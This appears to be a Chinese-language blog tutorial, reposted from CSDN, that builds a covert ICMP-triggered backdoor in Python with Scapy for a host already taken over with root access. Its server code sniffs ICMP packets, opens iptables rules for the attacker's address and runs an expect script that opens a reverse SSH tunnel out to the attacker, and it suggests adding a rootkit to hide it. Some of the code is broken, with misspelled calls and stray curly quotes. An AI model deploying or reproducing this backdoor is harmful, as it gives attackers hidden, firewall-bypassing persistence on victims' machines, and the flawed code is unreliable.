0x00:事先說明
- 你已經攻陷了對方主機且獲得了最高權限。
- 對方的本地防火墻會丟棄所有的外來數據包。
- 這個后門不會僅綁定在某一個端口上。
- 這段代碼很容易寫,畢竟是 python(準確說是 python 2.x)。
0x01:工作原理
如你所見,客戶端將偽造具有 icmp 負載的特定數據包,另一方面在服務端,也就是我們的被攻擊主機,將會接受我們發送的數據包,即使它開啟了本地的防火墻(丟棄所有外來數據包)。關鍵在于無線網卡的監聽模式,它無需和 ap 建立連接卻可以和接受所有流經空氣的數據包。
我們會用到一個有用的第三方包 Scapy。這是它的官方文檔。如果你是第一次使用,不妨參考這篇文章,也許會有幫助。
0x02:客戶端代碼
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
''' 客戶端代碼。將服務端的 ip 地址、客戶端的 ip 地址、客戶端的連接端口,以及連接所需密碼作為程序輸入。如果成功返回一個交互式后門,在代碼硬編碼好的位置寫入日志文件信息。 ''' #! /usr/bin/env python import logging import socket from scapy. all import * import os import os.path import sys import time logging.getlongger( "scapy.runtime" ).setlevel(loggin.error) file_result = "/tmp/done" if len (sys.argv) ! = 5 : print "usage : " + " ip_server " + " client_ip " + " port_ssh_client " + “ password_client ” sys.exit( 1 ) server = sys.argv[ 1 ] if os.path.isfile(file_result): os.remove(file_result) load = sys.argv[ 2 ] + "|" + sys.argv[ 3 ] + "|" + sys.argv[ 4 ] pingr = ip(dst = server) / icmp() / load send(pingr, verbose = 0 ) # send() 函數工作在協議棧的第三層(網絡層) |
0x04:服務端代碼
服務端代碼分為兩塊:1. 主要腳本部分、2. ssh 隧道部分。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
''' 服務端代碼之主要腳本部分。這個腳本會監聽 icmp 數據包并從句法上分析其攜帶的數據部分(客戶端 ip 地址、客戶端連接端口、連接所需密碼)。接著在本地打開兩個新的防火墻規則。最后調用另一個 expect 腳本,以建立和客戶端之間穩定的 ssh 連接。 ''' #! /usr/bin/env python import logging import socket from scapy. all import * import re import subprocess # py2.4 新增模塊,允許用戶編寫代碼生成新進程,連接到它們的 input/output/error 管道,并獲取它們的返回/狀態碼。 logging.getlogger( "scapy.runtime" ).setlevel(logging.error) def icmp_monitor_callback(pkt): reg = re. compile ( "(.*)\|(.*)\|(.*)" ) g = reg.match(pkt.load) if g: subprocess.popen([ "/sbin/iptables" , "-i" , "input" , "1" , "-s" ,g.group( 1 ), '-j' , 'accept' ]) subprocess.popen([ "/sbin/iptables" , "-i" , "output" , "1" , "-d" ,g.group( 1 ), '-j' , 'accept' ]) p = subprocess.call([ "/root/sshtunnel.sh" , g.group( 1 ),g.group( 2 ),g.group( 3 )]) return sniff(prn = icmp_monitor_callback, filter = "icmp" , store = 0 ) # scapy.sniff() 函數會嗅探來自空氣中的數據包,prn 參數用來指定回調函數,每當符合 filter 的報文被探測到時,就會執行回調函數。有關該函數的詳細信息,可以參考這篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/ |
1
2
3
4
5
6
7
8
9
10
11
12
13
|
''' 服務端代碼之 ssh 隧道部分,實際上是一個簡單的 expect 腳本。接受嗅探到的客戶端 ip 地址、客戶端端口,以及用于連接的密碼作為輸入。 ''' #!/usr/bin/expect -f set ip [lindex $argv 0 ]; set port [lindex $argv 1 ]; set password [lindex $argv 2 ]; spawn ssh - o stricthostkeychecking = no - r 19999 :localhost:$port $ip expect "*?assword:*" send "$password\r" expect "*#" send "touch /tmp/done\r" interact |
0x05:文末思考
上面完成的后門代碼待完善的地方。
- icmp payload 應該被編碼。
- 添加其他的協議用來喚醒該后門(如 http、特定的 syn 包、dns 等)。
- 寫一個 rootkit,隱藏該后門,猥瑣欲為。此乃后話。
有關 rootkit 的延伸閱讀。
總結
以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,謝謝大家對服務器之家的支持。如果你想了解更多相關內容請查看下面相關鏈接
原文鏈接:https://blog.csdn.net/abc_12366/article/details/83028990